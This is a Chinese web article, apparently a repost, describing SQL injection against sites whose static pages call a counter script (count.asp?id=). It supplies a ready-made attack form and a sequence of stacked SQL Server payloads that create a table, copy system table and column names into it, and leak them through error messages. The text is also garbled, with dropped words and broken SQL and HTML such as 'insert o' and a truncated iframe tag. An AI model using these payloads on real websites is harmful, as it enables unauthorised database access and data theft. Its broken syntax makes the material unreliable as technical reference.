脚本攻击sql注入:网站WebSiteSQL脚本注入的不常见思路方法

来源:安全中国

☆ 全站文章系统采用FSO静态生成HTML文件来显示这样做好处来可以减轻服务器负担提高访问速度 2是阻止SQL注入式攻击...

文章系统原理:
全部文章均在数据库存有个副本另处根据模板生成个HTML页面
攻击思路方法:查看源文件里面是否有通过JS来页面
<script language="javascript" src="count.asp?id=1552"></script>来更新文章浏览次数

我们就可以来试下可否注入:
http://服务器域名/count.asp?id=1552’
看是否出错如出错介绍说明有注入漏洞可采取正常攻击

在本机建立个post.htm文件和log.txt文本文件(用于记录用)

post.htm内容:方便输入…
复制内容到剪贴板代码:
&lt;rame name=p src=# width=800 height=350 frameborder=0&gt;&lt;/rame&gt;
&lt;br&gt;
&lt;form action=http://test.com/count.asp target=p&gt;
&lt;input name="id" value="1552;update aaa  aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--" style="width:750"&gt;
&lt;input type=submit value="&gt;&gt;&gt;"&gt;
&lt;input type=hidden name=fno value="2, 3"&gt;
&lt;/form&gt;
对于SQL SERVER服务器可以这样判断:在1552后加分号如正常可能是SQL SERVER对于这类数据库可以先建个表id=1552;create table aaa(aaa char(20));--

然后插入条记录:id=1552;insert o aaa values(’test’);--

再的后枚举出他数据表名:

id=1552;update aaa  aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--

这是将第个表名更新到aaa字段处

id=1552 and exists(select * from aaa where aaa>5)就会报错多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server  ’80040e07’ 将 varchar 值 ’vote’ 转换为数据类型为  列时发生语法 

/search.asp行21

其中vote就是表名:

也可以先猜出个表名再把(select top 1 name from sysobjects where xtype=’u’ and status>0)值更新到那个表条记录中去通过网页显示

读出第个表第 2个表可以这样读出来(在条件后加上 and name<>’刚才得到表名’)

id=1552;update aaa  aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0 and name&lt;&gt;’vote’);--

然后id=1552 and exists(select * from aaa where aaa>5)读出第 2个表个个读出直到没有为止

读字段:

id=1552;update aaa  aaa=(select top 1 col_name(object_id(’表名’),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错得到字段名id=1552;update aaa  aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错得到字段名

……类推……



  • 篇文章: 社会工程学利用 3个步骤

  • 篇文章: 注入限制绕过
  • Tags:  跨站脚本注入 脚本注入 sql注入方法 脚本攻击sql注入

    延伸阅读

    最新评论

    发表评论